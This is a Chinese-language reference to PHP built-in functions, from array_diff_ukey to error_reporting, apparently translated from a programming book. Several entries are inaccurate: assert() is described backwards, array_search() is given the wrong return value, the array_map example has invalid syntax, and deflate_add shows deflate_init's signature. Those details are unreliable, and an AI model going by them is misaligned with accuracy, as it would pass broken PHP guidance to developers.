array array_diff_ukey(array array1, array array2 [, ... array arrayN], callable function)

返回一个数组,其中包含第一个数组中的键不在其他提供的数组中存在的所有值。函数function用于比较元素键的相等性。该函数使用两个参数调用——要比较的键。如果第一个参数小于第二个参数,则应返回小于零的整数;如果第一个和第二个参数相等,则应返回0;如果第一个参数大于第二个参数,则应返回大于零的整数。保留值的键。

array_fill

array array_fill(int start, int count, mixed value)

返回一个由count个元素组成的数组,每个元素的值为value。使用数值索引,从start开始,每个元素递增 1。如果count小于等于零,则会产生错误。

array_fill_keys

array array_fill_keys(array keys, mixed value)

返回一个数组,其中每个元素的键使用keys中的元素,并且每个元素的值为value

array_filter

array array_filter(array array, mixed callback)

创建一个数组,其中包含原始数组中给定回调函数返回true的所有值。如果输入数组是关联数组,则保留键。例如:

function isBig($inValue)
{
 return($inValue > 10);
}

$array = array(7, 8, 9, 10, 11, 12, 13, 14);
$newArray = array_filter($array, "isBig"); // contains (11, 12, 13, 14)

array_flip

array array_flip(array array)

返回一个数组,其中元素的键是原始数组的值,反之亦然。如果找到多个值,则保留遇到的最后一个。如果原始数组中的任何值除了字符串和整数之外的任何类型,array_flip()将发出警告,并且将不包括问题中的键值对在结果中。array_flip()在失败时返回NULL

array_intersect

array array_intersect(array array1, array array2[, ... array arrayN])

返回一个由array1中每个元素也存在于每个其他数组中的元素组成的数组。

array_intersect_assoc

array array_intersect_assoc(array array1, array array2[, ... array arrayN])

返回一个包含所有给定数组中所有值的数组。与array_intersect()不同的是,必须同时匹配键和值才能被视为相同。值的键被保留。

array_intersect_key

array array_intersect_key(array array1, array array2[, ... array arrayN])

返回一个由array1中每个键也存在于每个其他数组中的元素组成的数组。

array_intersect_uassoc

array array_intersect_uassoc(array array1, array array2 [, ... array arrayN], callable function)

返回一个包含所有给定数组中所有值的数组。

函数function用于比较元素的键是否相等。该函数使用两个参数调用——要比较的值。如果第一个参数小于第二个参数,则返回小于零的整数,如果第一个和第二个参数相等,则返回0,如果第一个参数大于第二个参数,则返回大于零的整数。值的键被保留。

array_intersect_ukey

array array_intersect_ukey(array array1, array array2 [, ... array arrayN], callable function)

返回一个由array1中每个键也存在于每个其他数组中的元素组成的数组。

函数function用于比较元素的值是否相等。该函数使用两个参数调用——要比较的键。如果第一个参数小于第二个参数,则返回小于零的整数,如果第一个和第二个参数相等,则返回0,如果第一个参数大于第二个参数,则返回大于零的整数。

array_key_exists

bool array_key_exists(mixed key, array array)

如果array包含具有值key的键,则返回true。如果没有这样的键可用,则返回false

array_keys

array array_keys(array array[, mixed value[, bool strict]])

返回一个包含给定数组中所有键的数组。如果提供了第二个参数,则只返回其值与value匹配的键。如果指定了strict并且为true,则仅当匹配元素与value的类型和值相同时才返回。

array_map

array array_map(mixed callback, array array1[, ... array arrayN])

通过将第一个参数中引用的回调函数应用于剩余参数(提供的数组)来创建数组;回调函数应该接受与传递给 array_map() 的数组数目相等的值作为参数。例如:

function multiply($inOne, $inTwo) {
 return $inOne * $inTwo;
}
$first = (1, 2, 3, 4);
$second = (10, 9, 8, 7);
$array = array_map("multiply", $first, $second); // contains (10, 18, 24, 28)

array_merge

array array_merge(array array1, array array2[, ... array arrayN])

返回通过将每个提供的数组的元素附加到前一个数组的数组。如果任何数组具有相同的字符串键的值,则返回数组中遇到的键的最后一个值;任何具有相同数值键的元素都插入到结果数组中。

array_merge_recursive

array array_merge_recursive(array array1, array array2[, ... array arrayN])

array_merge() 类似,通过将每个输入数组附加到前一个数组来创建并返回数组。但与 array_merge() 不同的是,当多个元素具有相同的字符串键时,将包含每个值的数组插入到结果数组中。

array_multisort

bool array_multisort(array array1[, SORT_ASC|SORT_DESC [, SORT_REGULAR|SORT_NUMERIC|SORT_STRING]] [, array array2[, SORT_ASC|SORT_DESC [, SORT_REGULAR|SORT_NUMERIC|SORT_STRING]], ...])

用于同时对几个数组进行排序,或者对多维数组的一维或多维进行排序。输入数组被视为表中的列,按行排序——第一个数组是主要排序。根据该排序相同的任何值按照下一个输入数组进行排序,依此类推。

第一个参数是一个数组;随后,每个参数可以是一个数组或以下排序标志之一(排序标志用于更改排序的默认顺序):

SORT_ASC(默认) 按升序排序
SORT_DESC 按降序排序

然后,可以指定以下列表中的排序类型:

SORT_REGULAR(默认) 普通比较项目
SORT_NUMERIC 按数值比较项目
SORT_STRING 按字符串比较项目

排序标志仅适用于紧接在前面的数组,并在每个新数组参数之前恢复为 SORT_ASCSORT_REGULAR

如果操作成功则返回 true,否则返回 false

array_pad

array array_pad(array input, int size[, mixed padding])

返回输入数组的副本,填充到由 size 指定的长度。添加到数组的任何新元素都具有可选的第三个值的值。通过指定负数大小,可以将元素添加到数组的开头——在这种情况下,数组的新大小是大小的绝对值。

如果数组已经具有指定数量的元素或更多,则不进行填充,并返回原始数组的精确副本。

array_pop

mixed array_pop(array &stack)

从给定数组中移除最后一个值并返回它。如果数组为空(或参数不是数组),则返回 NULL。请注意,提供的数组上的数组指针将被重置。

array_product

number array_product(array array)

返回 array 中每个元素的乘积。如果 array 中的每个值都是整数,则结果乘积为整数;否则,结果乘积为浮点数。

array_push

int array_push(array &array, mixed value1[, ... mixed valueN])

将给定值添加到第一个参数指定的数组末尾,并返回数组的新大小。对于列表中的每个值,执行与调用 $array[] = $value 相同的功能。

array_rand

mixed array_rand(array array[, int count])

从给定数组中随机选择一个元素。第二个(可选)参数可以给出以指定要选择和返回的元素数量。如果返回多个元素,则返回键的数组,而不是元素的值。

array_reduce

mixed array_reduce(array array, mixed callback[, int initial])

通过迭代调用给定的回调函数和数组中的值对,派生出一个值。如果提供了第三个参数,则将其与数组中的第一个元素一起传递给回调函数进行初始调用。

array_replace

array array_replace(array array1, array array2[, ... array arrayN])

返回一个由替换值中的值替换 array1 中的值而创建的数组。 array1 中与替换数组中的键匹配的元素将被这些元素的值替换。

如果提供了多个替换数组,则按顺序处理。保留在 array1 中的任何键不匹配替换数组中任何键的元素。

array_replace_recursive

array array_replace_recursive(array array1, array array2[, ... array arrayN])

返回一个由替换值中的值替换 array1 中的值而创建的数组。 array1 中与替换数组中的键匹配的元素将被这些元素的值替换。

如果 array1 和特定键的替换数组中的值都是数组,则使用相同的过程递归合并这些数组中的值。

如果提供了多个替换数组,则按顺序处理。保留在 array1 中的任何键不匹配替换数组中任何键的元素。

array_reverse

array array_reverse(array array[, bool preserve_keys])

返回一个包含与输入数组相同元素的数组,但其顺序相反。如果 preserve_keys 设置为 true,则保留数值键。非数值键不受此参数影响,始终保留。

mixed array_search(mixed value, array array[, bool strict])

执行在数组中搜索值的操作,类似于 in_array()。如果找到值,则返回匹配元素的键;如果未找到值,则返回 NULL。如果指定了 strict 并且为 true,则仅当匹配的元素与 value 的类型和值相同时才返回。

array_shift

mixed array_shift(array stack)

类似于 array_pop(),但不是移除并返回数组中的最后一个元素,而是移除并返回数组中的第一个元素。如果数组为空,或者参数不是数组,则返回 NULL

array_slice

array array_slice(array array, int offset[, int length][, bool keepkeys])

返回一个包含从给定数组中提取的一组元素的数组。如果 offset 是正数,则使用从该索引开始的元素;如果 offset 是负数,则使用从数组末尾开始的那么多元素。如果提供了第三个参数并且是正数,则返回这么多元素;如果是负数,则从数组末尾开始计算停止这么多元素。如果省略了第三个参数,则返回包含从 offset 到数组末尾的所有元素的序列。如果 keepkeys,即第四个参数为 true,则保留数字键的顺序;否则,它们将被重新编号和重新排序。

array_splice

array array_splice(array array, int offset[, int length[, array replacement]])

使用与array_slice()相同的规则选择一系列元素,但不返回这些元素,而是将它们删除或者如果提供了第四个参数,则替换为该数组。返回一个包含已删除(或替换)元素的数组。

array_sum

number array_sum(array array)

返回数组中每个元素的总和。如果所有的值都是整数,则返回整数。如果任何值是浮点数,则返回浮点数。

array_udiff

array array_udiff(array array1, array array2[, ... array arrayN], string function)

返回一个包含 array1 中所有未出现在任何其他数组中的值的数组。只使用值来检查相等性;即 "a" => 1"b" => 1 被视为相等。函数 function 用于比较元素的值是否相等。该函数使用两个参数——要比较的值。如果第一个参数小于第二个参数,则返回小于零的整数;如果第一个和第二个参数相等,则返回 0;如果第一个参数大于第二个参数,则返回大于零的整数。保留值的键。

array_udiff_assoc

array array_udiff_assoc(array array1, array array2 [, ... array arrayN], string function)

返回一个包含所有在array1中不存在于任何其他数组中的值的数组。键和值都用于检查相等性;即"a" => 1"b" => 1不被认为是相等的。函数function用于比较元素的值是否相等。该函数使用两个参数调用——要比较的值。如果第一个参数小于第二个参数,则应返回小于零的整数,如果第一个和第二个参数相等,则应返回0,如果第一个参数大于第二个参数,则应返回大于零的整数。值的键将被保留。

array_udiff_uassoc

array array_udiff_uassoc(array array1, array array2[, ... array arrayN], string function1, string function2)

返回一个包含所有在array1中不存在于任何其他数组中的值的数组。键和值都用于检查相等性;即"a" => 1"b" => 1不被认为是相等的。函数function1用于比较元素的值是否相等。函数function2用于比较键的值是否相等。每个函数使用两个参数调用——要比较的值。如果第一个参数小于第二个参数,则应返回小于零的整数,如果第一个和第二个参数相等,则应返回0,如果第一个参数大于第二个参数,则应返回大于零的整数。值的键将被保留。

array_uintersect

array array_uintersect(array array1, array array2 [, ... array arrayN], string function)

返回一个包含所有在array1中存在于所有其他数组中的值的数组。仅使用值来检查相等性;即"a" => 1"b" => 1被认为是相等的。函数function用于比较元素的值是否相等。该函数使用两个参数调用——要比较的值。如果第一个参数小于第二个参数,则应返回小于零的整数,如果第一个和第二个参数相等,则应返回0,如果第一个参数大于第二个参数,则应返回大于零的整数。值的键将被保留。

array_uintersect_assoc

array array_uintersect_assoc(array array1, array array2[, ... array arrayN], string function)

返回一个包含所有在array1中存在于所有其他数组中的值的数组。键和值都用于检查相等性;即"a" => 1"b" => 1不被认为是相等的。函数function用于比较元素的值是否相等。该函数使用两个参数调用——要比较的值。如果第一个参数小于第二个参数,则应返回小于零的整数,如果第一个和第二个参数相等,则应返回0,如果第一个参数大于第二个参数,则应返回大于零的整数。值的键将被保留。

array_uintersect_uassoc

array array_uintersect_uassoc(array array1, array array2[, ... array arrayN], string function1, string function2)

返回一个包含第一个数组中所有其他数组中也存在的值的数组。同时使用键和值来检查相等性;即,"a" => 1"b" => 1不被视为相等。使用function1函数比较元素的值相等性。使用function2函数比较键的值相等性。每个函数都接收两个参数——要比较的值。如果第一个参数小于第二个参数,则返回小于零的整数,如果第一个和第二个参数相等,则返回0,如果第一个参数大于第二个参数,则返回大于零的整数。保留值的键。

array_unique

array array_unique(array array[, int sort_flags])

创建并返回一个包含给定数组中每个元素的数组。如果有重复的值,则忽略后续值。可使用sort_flags可选参数以常量SORT_REGULARSORT_NUMERICSORT_STRING(默认值)和SORT_LOCALE_STRING改变排序方法。保留原始数组的键。

array_unshift

int array_unshift(array stack, mixed value1[, ... mixed valueN])

返回给定数组的副本,并将额外的参数添加到数组的开头;添加的元素作为一个整体添加,因此数组中的元素与参数列表中的元素按照它们在列表中出现的顺序相同。返回新数组中的元素数目。

array_values

array array_values(array array)

返回一个包含输入数组中所有值的数组。不保留这些值的键。

array_walk

bool array_walk(array input, string callback[, mixed user_data])

对数组中的每个元素调用命名函数。将以元素的值、键和可选用户数据作为参数调用该函数。为确保函数直接作用于数组的值,请通过引用定义函数的第一个参数。成功时返回true,失败时返回false

array_walk_recursive

bool array_walk_recursive(array input, string function[, mixed user_data])

类似于array_walk(),对数组中的每个元素调用命名函数。与array_walk()不同的是,如果元素的值是数组,则也会为该数组中的每个元素调用该函数。将以元素的值、键和可选用户数据作为参数调用该函数。为确保函数直接作用于数组的值,请通过引用定义函数的第一个参数。成功时返回true,失败时返回false

arsort

bool arsort(array array[, int flags])

对数组按相反的顺序进行排序,保持数组值的键。可选的第二个参数包含额外的排序标志。成功时返回true,失败时返回false。有关使用此函数的更多信息,请参见第五章和sort

asin

float asin(float value)

返回以弧度表示的value的反正弦。

asinh

float asinh(float value)

返回value的反双曲正弦。

asort

bool asort(array array[, int flags])

对数组进行排序,保持数组值的键。可选的第二个参数包含额外的排序标志。成功时返回true,失败时返回false。有关使用此函数的更多信息,请参见第五章和sort

assert

bool assert(string|bool assertion[, string description])

如果assertiontrue,则在执行代码时生成警告。如果assertion是一个字符串,则assert()将该字符串作为 PHP 代码进行评估。可选的第二个参数允许在失败消息中添加额外的文本。查看assert_options()函数以查看其相关连接。

assert_options

mixed assert_options(int option[, mixed value])

如果指定了value,则将断言控制选项option设置为value并返回先前的设置。如果未指定value,则返回option的当前值。option的以下值是允许的:

ASSERT_ACTIVE 启用断言
ASSERT_WARNING 生成警告以显示断言
ASSERT_BAIL 在断言上终止脚本的执行
ASSERT_QUIET_EVAL 在评估传递给assert()函数的断言代码时禁用错误报告
ASSERT_CALLBACK 调用指定的用户函数处理断言。断言回调以三个参数调用:文件、行和断言失败的表达式

atan

float atan(float value)

返回以弧度表示的value的反正切。

atan2

float atan2(float y, float x)

使用两个参数的符号确定值所在的象限,返回以弧度表示的xy的反正切。

atanh

float atanh(float value)

返回value的反双曲正切。

base_convert

string base_convert(string number, int from, int to)

number从一种基数转换为另一种基数。当前数字所在的基数是from,要转换的基数是to。要从和转换的基数必须在 2 到 36 之间。在大于 10 的基数中,使用字母a(10)到z(35)表示数字。可以转换的最大 32 位数字或 10 进制 2,147,483,647。

base64_decode

string base64_decode(string data)

将经过 base-64 编码的数据data解码为字符串(可能包含二进制数据)。有关 base-64 编码的更多信息,请参见 RFC 2045。

base64_encode

string base64_encode(string data)

返回data的 Base64 编码版本。MIME Base64 编码旨在允许二进制或其他 8 位数据在通过可能不安全的 8 位协议(如电子邮件消息)时保持完整性。

basename

string basename(string *path*[, string *suffix*])

从完整路径path中返回文件名组件。如果文件名以suffix结尾,则从名称中删除该字符串。例如:

$path = "/usr/local/httpd/index.html";
echo(basename($path)); // index.html
echo(basename($path, '.html')); // index

bin2hex

string bin2hex(string *binary*)

binary转换为十六进制(基数 16)值。可以转换为 32 位数,或者十进制的 2,147,483,647。

bindec

number bindec(string *binary*)

binary转换为十进制值。可以转换为 32 位数,或者十进制的 2,147,483,647。

call_user_func

mixed call_user_func(string *function*[, mixed *parameter1*[, ... mixed *parameterN*]])

调用第一个参数中给出的函数。额外的参数在调用函数时使用。检查匹配函数时不区分大小写。返回函数返回的值。

call_user_func_array

mixed call_user_func_array(string *function*, array *parameters*)

类似于call_user_func(),此函数调用名为function的函数,并使用数组parameters中的参数进行调用。检查匹配函数时不区分大小写。返回函数返回的值。

ceil

float ceil(float *number*)

返回比number大的下一个最高值,如果需要则向上舍入。

chdir

bool chdir(string *path*)

将当前工作目录设置为path;如果操作成功返回true,否则返回false

checkdate

bool checkdate(int *month*, int *day*, int *year*)

如果参数中给出的月份、日期和年份(公历)有效,则返回true,否则返回false。如果年份在 1 到 32,767 之间(包括边界),月份在 1 到 12 之间(包括边界),并且日期在指定月份的有效日期范围内(包括闰年)。

checkdnsrr

bool checkdnsrr(string *host*[, string *type*])

搜索具有给定类型的主机的 DNS 记录。如果找到任何记录,则返回true,否则返回false。主机类型可以采用以下任何值(如果未指定值,则默认为MX):

A IP 地址
MX (默认) 邮件交换器
NS 名称服务器
SOA 权威起始
PTR 指向信息的指针
CNAME 规范名称
AAAA 128 位 IPv6 地址
A6 定义为早期 IPv6 的一部分,但降级为实验性
SRV 通用服务位置记录
NAPTR 基于正则表达式的域名重写
TXT 最初用于人类可读的文本。但是,这个记录也携带机器可读的数据。
ANY 上述任何一种

查看更多详情,请访问Wikipedia 上的 DNS 记录条目

chgrp

bool chgrp(string path, mixed group)

将文件path的组更改为group;PHP 必须具有适当的权限才能使该函数工作。如果更改成功,则返回true,否则返回false

chmod

bool chmod(string path, int mode)

尝试将path的权限更改为modemode应为八进制数,例如0755。像755这样的整数值或"u+x"这样的字符串值将不能按预期工作。如果操作成功,则返回true,否则返回false

chown

bool chown(string path, mixed user)

将文件path的所有权更改为名为user的用户。PHP 必须具有适当的权限(通常为 root)才能执行此功能。如果更改成功,则返回true,否则返回false

chr

string chr(int char)

返回由单个 ASCII 字符char组成的字符串。

chroot

bool chroot(string path)

将当前进程的根目录更改为path。在 Web 服务器环境中运行 PHP 时,无法使用chroot()将根目录恢复为/。如果更改成功,则返回true,否则返回false

chunk_split

string chunk_split(string string[, int size[, string postfix]])

postfix插入到string中,每隔size个字符插入一次,并在字符串末尾插入;返回生成的字符串。如果未指定,则postfix默认为\r\nsize默认为76。此函数最适合将数据编码为 RPF 2045 标准。例如:

$data = "...some long data...";
$converted = chunk_split(base64_encode($data));

class_alias

bool class_alias(string name, string alias)

创建到类name的别名。从此之后,您可以使用namealias引用类(例如实例化对象)。如果可以创建别名,则返回true;否则返回false

class_exists

bool class_exists(string name[, bool autoload_class])

如果具有与字符串同名的类已定义,则返回true;否则返回false。类名比较不区分大小写。如果设置了并且为true,则会通过类的__autoload()函数加载类,然后获取其实现的接口。

class_implements

array class_implements(mixed class[, bool autoload_class])

如果class是对象,则返回包含由class对象类实现的接口名称的数组。如果class是字符串,则返回包含由名为class的类实现的接口名称的数组。如果class既不是对象也不是字符串,或者class是字符串但不存在该名称的对象类,则返回false。如果设置了并且为true,则会通过类的__autoload()函数加载类,然后获取其实现的接口。

class_parents

array class_parents(mixed class[, bool autoload_class])

如果class 是一个对象,则返回一个包含class 对象类的父类名称的数组。如果class 是一个字符串,则返回一个包含命名为class 的类的父类类名的数组。如果class 既不是对象也不是字符串,或者class 是一个字符串但没有该名称的对象类存在,则返回false。如果设置了autoload_class 并且为true,则在获取其父类之前通过类的__autoload() 函数加载该类。

clearstatcache

void clearstatcache([bool clear_realpath_cache[, string file]])

清除文件状态函数的缓存。下一次调用任何文件状态函数将从磁盘检索信息。clear_realpath_cache 参数允许清除realpath 缓存。file 参数仅允许清除特定文件名的realpath 和 stat 缓存,并且仅在clear_realpath_cachetrue 时可用。

closedir

void closedir([int handle])

关闭由handle 引用的目录流。有关目录流的更多信息,请参见opendir()。如果未指定handle,则关闭最近打开的目录流。

closelog

int closelog()

在调用openlog()后关闭用于写入系统日志的文件描述符。如果更改成功则返回true,否则返回false

compact

array compact(mixed variable1[, ... mixed variableN])

通过检索参数中命名的变量的值来创建数组。如果任何参数是数组,则还会检索数组中命名的变量的值。返回的数组是一个关联数组,其键是函数提供的参数,值是命名变量的值。此函数是extract()的相反函数。

connection_aborted

int connection_aborted()

如果客户端在函数调用之前断开连接(例如在浏览器中点击停止),则返回true1)。如果客户端仍然连接,则返回false0)。

connection_status

int connection_status()

以三个状态的位域形式返回连接的状态:NORMAL0)、ABORTED1)和TIMEOUT2)。

constant

mixed constant(string name)

返回称为name的常量的值。

convert_cyr_string

string convert_cyr_string(string value, string from, string to)

value从一个西里尔语集转换为另一个。fromto 参数是表示集的单字符字符串,并具有以下有效值:

k koi8-r
w Windows-1251
i ISO 8859-5
ad x-cp866
m x-mac-cyrillic

convert_uudecode

string convert_uudecode(string value)

解码uuencode的字符串value并返回它。

convert_uuencode

string convert_uuencode(string value)

使用uuencode对字符串value进行编码并返回。

copy

int copy(string path, string destination[, resource context])

将路径path的文件复制到destination。如果操作成功,函数返回true;否则,返回false。如果目标位置的文件已存在,则将其替换。可选的context参数可以利用使用stream_context_create()函数创建的有效上下文资源。

cos

float cos(float value)

返回弧度中value的余弦值。

cosh

float cosh(float value)

返回value的双曲余弦值。

count

int count(mixed value[, int mode])

返回value中的元素数;对于数组或对象,这是元素的数量;对于任何其他value,这是1。如果参数是变量且变量未设置,则返回0。如果设置了mode并且为COUNT_RECURSIVE,则递归计算元素数,计算数组内部数组中的值的数量。

count_chars

mixed count_chars(string string[, int mode])

返回string中从 0 到 255 的每个字节值的出现次数;mode确定结果的形式。mode的可能值为:

0 (default) 返回一个关联数组,其中每个字节值作为键,该字节值的频率作为值
1 与上述相同,但仅列出非零频率的字节值
2 与上述相同,但仅列出频率为零的字节值
3 返回一个包含所有非零频率字节值的字符串
4 返回一个包含所有字节值频率为零的字符串

crc32

int crc32(string value)

计算并返回value的循环冗余校验(CRC)。

create_function

string create_function(string arguments, string code)

使用给定的argumentscode创建一个匿名函数;返回函数的生成名称。这种匿名函数(也称为lambda 函数)对于短期回调函数非常有用,例如在使用usort()时。

crypt

string crypt(string string[, string salt])

使用带有两个字符盐值salt的 DES 加密算法对string进行加密。如果未提供salt,则在脚本中首次调用crypt()时生成一个随机salt值;此值用于后续调用crypt()。返回加密后的字符串。

current

mixed current(array array)

返回内部指针设置的元素的值。第一次调用current()时,或在reset后调用current()时,将指针设置为数组中的第一个元素。

date

string date(string format[, int timestamp])

根据第一个参数中提供的format字符串格式化时间和日期。如果未指定第二个参数,则使用当前时间和日期。format字符串中识别以下字符:

a “am”或“pm”
A “AM”或“PM”
B 斯沃奇互联网时间
d 月份中的日期,如果需要则包括前导零(例如,“01”到“31”)
D 星期几的三字母缩写(例如,“Mon”)
F 月份的全称(例如,“August”)
g 12 小时制的小时数(例如,“1”到“12”)
G 24 小时制的小时数(例如,“0”到“23”)
h 12 小时制的小时数,如果需要则包括前导零(例如,“01”到“12”)
H 24 小时制的小时数,如果需要则包括前导零(例如,“00”到“23”)
i 分钟数,如果需要则包括前导零(例如,“00”到“59”)
I 如果是夏令时则为“1”,否则为“0”
j 月份中的日期(例如,“1”到“31”)
l 星期几的全称(例如,“Monday”)
L 如果年份不是闰年则为“0”,如果是则为“1”
m 月份,如果需要则包括前导零(例如,“01”到“12”)
M 月份的三字母缩写(例如,“Aug”)
n 无前导零的月份(例如,“1”到“12”)
r 根据 RFC 822 格式化的日期(例如,“Thu, 21 Jun 2001 21:27:19 +0600”)
s 秒数,如果需要则包括前导零(例如,“00”到“59”)
S 日期月份的英文序数后缀,“st”、“nd”或“th”
t 月份的天数,从“28”到“31”
T 运行 PHP 的机器的时区设置(例如,“MST”)
u 自 Unix 纪元以来的秒数
w 数字形式的星期几,从星期天开始(例如,“0”代表星期日)
W ISO 8601 标准下的年的第几周
Y 四位数年份(例如,“1998”)
y 两位数年份(例如,“98”)
z 一年中的第几天,从“0”到“365”
Z 时区偏移量(从“–43200”(UTC 的远西)到“43200”(UTC 的远东))

format字符串中不匹配上述任何内容的任何字符将保留在结果字符串中。如果为timestamp提供了非数字值,则返回false并发出警告。

date_default_timezone_get

string date_default_timezone_get()

返回当前默认时区,之前由date_default_timezone_set()函数或在php.ini文件中通过date.timezone选项设置。如果都没有设置,则返回"UTC"

date_default_timezone_set

string date_default_timezone_set(string timezone)

设置当前默认时区。

date_parse

array date_parse(string time)

将时间和日期的英文描述转换为描述该时间和日期的数组。如果值无法转换为有效日期,则返回false。返回的数组包含从date_parse_from_format()返回的相同值。

date_parse_from_format

array date_parse_from_format(string format, string time)

time 解析为表示日期的关联数组。time 字符串的格式由 format 指定,使用与 date() 中描述的相同字符代码。返回的数组包含以下条目:

year 年份
month 月份
day 月份中的天数
hour 小时
minute 分钟
second
fraction 秒的小数部分
warning_count 解析过程中发生的警告数量
warnings 解析过程中发生的警告数组
error_count 解析过程中发生的错误数量
errors 解析过程中发生的错误数组
is_localtime 如果时间表示当前默认时区的时间,则为 True
zone_type zone 表示的时区类型
zone 时间所在的时区
is_dst 如果时间表示夏令时,则为 True

date_sun_info

array date_sun_info(int timestamp, float latitude, float longitude)

返回给定纬度和经度的日出和日落时间以及黄昏开始和结束时间的关联数组信息。结果数组包含以下键:

sunrise 日出时间
sunset 日落时间
transit 太阳处于天顶的时间
civil_twilight_begin 民用黄昏开始时间
civil_twilight_end 民用黄昏结束时间
nautical_twilight_begin 航海黄昏开始时间
nautical_twilight_end 航海黄昏结束时间
astronomical_twilight_begin 天文黄昏开始时间
astronomical_twilight_end 天文黄昏结束时间

日出时间

mixed date_sunrise(int timestamp[, int format[, float latitude[, float longitude [, float zenith[, float gmt_offset]]]])

返回给定 timestamp 的当天日出时间;失败时返回 falseformat 参数确定时间的返回格式(默认为 SUNFUNCS_RET_STRING),而 latitudelongitudezenithgmt_offset 参数提供特定位置的信息。它们默认为 PHP 配置选项中给出的值(php.ini)。参数包括:

SUNFUNCS_RET_STRING 返回字符串值;例如,“06:14”
SUNFUNCS_RET_DOUBLE 返回浮点数值;例如,6.233
SUNFUNCS_RET_TIMESTAMP 返回 Unix 时间戳

日落时间

mixed date_sunset(int timestamp[, int format[, float latitude[, float longitude [, float zenith[, float gmt_offset]]]])

返回当天日落的时间戳;失败时返回 falseformat 参数决定返回时间的格式(默认为 SUNFUNCS_RET_STRING),而 latitudelongitudezenithgmt_offset 参数提供特定位置的信息。它们默认使用 PHP 配置选项(php.ini)中给出的值。参数包括:

SUNFUNCS_RET_STRING 返回字符串形式的值;例如,“19:02”
SUNFUNCS_RET_DOUBLE 返回浮点数形式的值;例如,19.033
SUNFUNCS_RET_TIMESTAMP 返回 Unix 时间戳形式的值

debug_backtrace

array debug_backtrace([ int options [, int limit]])

返回包含 PHP 当前执行位置的关联数组的数组。每个函数或文件包含都包含一个元素,具有以下元素:

function 如果在函数中,则为函数的名称作为字符串
line 当前函数或文件包含所在文件中的行号
file 元素所在文件的名称
class 如果在对象实例或类方法中,则为元素所在的类的名称
object 如果在对象中,则为该对象的名称
type 当前调用类型:如果是静态方法,则为 ::;如果是方法,则为 ->;如果是函数,则为空
args 如果在函数中,则为调用该函数时使用的参数;如果在文件包含中,则为包含文件的名称

每次函数调用或文件包含都会在数组中生成一个新元素。最内层的函数调用或文件包含的索引为 0;更深层次的元素为较浅的函数调用或文件包含。

debug_print_backtrace

void debug_print_backtrace()

打印当前的调试回溯(参见 debug_backtrace)到客户端。

decbin

string decbin(int decimal)

将提供的 decimal 值转换为其二进制表示形式。最多可以转换为 32 位数字,或 2,147,483,647 十进制。

dechex

string dechex(int decimal)

decimal 转换为其十六进制(base-16)表示。最多可以转换为 32 位数字,或 2,147,483,647 十进制(0x7FFFFFFF 十六进制)。

decoct

string decoct(int decimal)

decimal 转换为其八进制(base-8)表示。最多可以转换为 32 位数字,或 2,147,483,647 十进制(017777777777 八进制)。

define

bool define(string name, mixed value[, int case_insensitive])

定义一个名为 name 的常量,并将其值设置为 value。如果 case_insensitive 设置为 true,则如果先前定义了与该名称(不区分大小写比较)相同的常量,则操作失败。否则,将区分大小写地检查现有的常量。如果常量可以创建,则返回 true,如果已存在具有给定名称的常量,则返回 false

define_syslog_variables

void define_syslog_variables()

初始化由openlog()syslog()closelog()使用的所有变量和常量。在使用任何 syslog 函数之前应调用此函数。

defined

bool defined(string name)

如果存在一个名为name的常量则返回true,否则返回false

deflate_add

void deflate_init(resource context, string data[, int flush_mode])

data添加到 deflate 上下文context中,并根据flush_mode检查上下文是否应该刷新。flush_mode可以是ZLIB_BLOCKZLIB_NO_FLUSHZLIB_PARTIAL_FLUSHZLIB_SYNC_FLUSH(默认)、ZLIB_FULL_FLUSHZLIB_FINISH之一。在添加大多数数据块时,选择ZLIB_NO_FLUSH以最大化压缩尝试。在添加最后一个数据块后,请使用ZLIB_FINISH指示上下文已完成。

deflate_init

void deflate_init(int encoding[, array options])

初始化并返回一个增量式的 deflate 上下文。可以使用对该上下文的deflate_add()调用来逐步进行数据的 deflate 压缩。

level 压缩范围从–1 到 9
memory 压缩内存级别从 1 到 9
window zlib 窗口大小从 8 到 15
strategy 使用的压缩策略;可以是ZLIB_FILTEREDZLIB_HUFFMAN_ONLYZLIB_RLEZLIB_FIXEDZLIB_DEFAULT_STRATEGY(默认)
dictionary 压缩预设字典的字符串或字符串数组

deg2rad

float deg2rad(float number)

number从度转换为弧度并返回结果。

dir

directory dir(string path[, resource context])

返回一个初始化为给定路径的directory类实例。您可以在对象上使用read()rewind()close()方法,这些方法相当于过程函数readdir()rewinddir()closedir()

dirname

string dirname(string path)

返回path的目录部分。这包括直到文件名部分的所有内容(参见basename),不包括尾部路径分隔符。

disk_free_space

float disk_free_space(string path)

返回磁盘分区或文件系统上path处的空闲空间大小(以字节为单位)。

disk_total_space

float disk_total_space(string path)

返回磁盘分区或文件系统上path处的总空间大小(包括已使用和空闲的字节)。

each

array each(array &array)

创建一个包含当前指向的数组元素的键和值的数组。数组包含四个元素:键为0key,包含元素的键;值为1value,包含元素的值。

如果数组的内部指针指向数组末尾之外,则each()返回false

echo

void echo string string[, string string2[, string stringN ...]]

输出给定的字符串。echo 是一种语言结构,可以选择性地用括号括起参数,除非有多个参数,否则不能使用括号。

empty

bool empty(mixed value)

如果 value0 或未设置,则返回 true,否则返回 false

end

mixed end(array &array)

将数组的内部指针推进到最后一个元素并返回该元素的值。

error_clear_last

array error_clear_last()

清除最近的错误;它将不再被 error_get_last() 返回。

error_get_last

array error_get_last()

返回关于最近发生的错误的关联数组信息,如果在处理当前脚本时尚未发生错误,则返回 NULL。数组中包括以下值:

type 错误的类型
message 错误的可打印版本
file 发生错误的文件的完整路径
line 发生错误的文件中的行号

error_log

bool error_log(string message, int type[, string destination[, string headers]])

记录错误消息到 Web 服务器的错误日志,电子邮件地址或文件中。第一个参数是要记录的消息。类型是以下之一:

0 message 发送到 PHP 系统日志;消息被放入由 error_log 配置指令指向的文件中。
1 message 发送到电子邮件地址 destination。如果指定了 headers,则提供用于创建消息的可选头部(有关可选头部的更多信息,请参见 mail)。
3 message 追加到文件 destination 中。
4 message 直接发送到服务器应用程序接口(SAPI)日志处理程序。

error_reporting

int error_reporting([int level])

设置 PHP 报告的错误级别为 level 并返回当前级别;如果省略 level,则返回当前的错误报告级别。该函数可用以下值:

E_ERROR 致命的运行时错误(脚本执行停止)
E_WARNING 运行时警告
E_PARSE 编译时解析错误
E_NOTICE 运行时通知
E_CORE_ERROR PHP 内部生成的错误
E_CORE_WARNING PHP 内部生成的警告
E_COMPILE_ERROR Zend 脚本引擎内部生成的错误
E_COMPILE_WARNING Zend 脚本引擎内部生成的警告
E_USER_ERROR 由调用 trigger_error() 生成的运行时错误
E_USER_WARNING 由调用 trigger_error() 生成的运行时警告
